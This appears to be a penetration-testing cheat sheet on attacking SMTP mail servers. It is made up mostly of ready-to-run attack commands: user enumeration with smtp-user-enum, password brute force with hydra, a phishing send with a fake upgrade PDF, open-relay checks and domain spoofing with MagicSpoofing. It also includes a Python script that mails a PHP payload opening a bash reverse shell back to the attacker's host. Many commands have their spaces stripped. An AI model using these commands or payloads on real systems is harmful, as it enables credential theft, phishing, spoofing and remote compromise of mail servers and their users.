SMTP supports several interesting commands, such as VRFY, EXPN and RCPT TO.
VRFY requests asks the server to verify an email address.
EXPN asks the server for the membership of a mailing list.
RCPT TO is used to specify an email recipient but may trigger an "Unknown user" error if the specified user does not exist.
These can often be abused to verify existing users on a mail server, which is useful information during a penetration test.
smtp-user-enum is a python script for user enumeration via VRFY, EXPN and RCPT
# VRFY - check if the user exists in the SMTP serversmtp-user-enum-MVRFY-u<username>-t<target-ip>smtp-user-enum-MVRFY-Uusernames.txt-t<target-ip># RCPT - check if the user is allowed to receive mails in the SMTP serversmtp-user-enum-MRCPT-u<username>-t<target-ip>smtp-user-enum-MRCPT-Uusernames.txt-t<target-ip># EXPN - reveal the actual email addresssmtp-user-enum-MEXPN-u<username>-t<target-ip>smtp-user-enum-MEXPN-D<hostname>-Uusernames.txt-t<target-ip>
# Netcatnc<target-ip>25# Telnettelnet<target-ip>25# From Windowsdism/online/Enable-Feature/FeatureName:TelnetClienttelnet<target-ip>25
We may use following command to connect to a SMTP server using TLS
# port 25openssls_client-starttlssmtp-connect<target-ip>:25# Port 465openssls_client-crlf-connect<target-ip>:465# Port 587openssls_client-starttlssmtp-crlf-connect<target-ip>:587
Authentication Bruteforce
We may use hydra to bruteforce SMTP accounts on the server
# Port 25hydra-l<username>-P/path/to/passwords.txt<IP>smtp-V# Port 587 for SMTP with SSLhydra-l<username>-P/path/to/passwords.txt-s587<IP>-S-v-V
sendEmail is a lightweight, completely command line based, SMTP email agent.
# Send with email attahementsendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s <SMTP_SRV_IP> -u "Important Upgrade Instructions" -a /tmp/BestComputers-UpgradeInstructions.pdf
We may use following python script to send emails
from email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextimport smtplibimport syslhost ="127.0.0.1"lport =443rhost ="192.168.1.1"rport =25# 489,587# create message object instancemsg =MIMEMultipart()# setup the parameters of the messagepassword =""msg['From']="attacker@local"msg['To']="victim@local"msg['Subject']="This is not a drill!"# payload message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>"% (lhost,lport))print("[*] Payload is generated : %s"% message)msg.attach(MIMEText(message, 'plain'))server = smtplib.SMTP(host=rhost,port=rport)if server.noop()[0] !=250:print("[-]Connection Error")exit()server.starttls()# Uncomment if log-in with authencation# server.login(msg['From'], password)server.sendmail(msg['From'], msg['To'], msg.as_string())server.quit()print("[***]successfully sent email to %s:"% (msg['To']))
Mail Spoofing
Open Relay
To prevent the sent emails from being filtered by spam filters and not reaching the recipient, the sender can use a relay server that the recipient trusts. Often, administrators haven't overviewed of which IP ranges they have to allow. This results in a misconfiguration of the SMTP server that we will still often find in external and internal penetration tests. Therefore, they allow all IP addresses not to cause errors in the email traffic and thus not to disturb or unintentionally interrupt the communication with potential and current customers:
mynetworks = 0.0.0.0/0
We may use the smtp-open-relay script to enumerate if a SMTP server is vulnerable to mail relaying.
nmap-p25--scriptsmtp-open-relay<IP>-v
Tools
MagicSpoofing is a python script that checks & test SPF/DMARC DNS records an tries to spoof a domain with a open relay mail system.
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com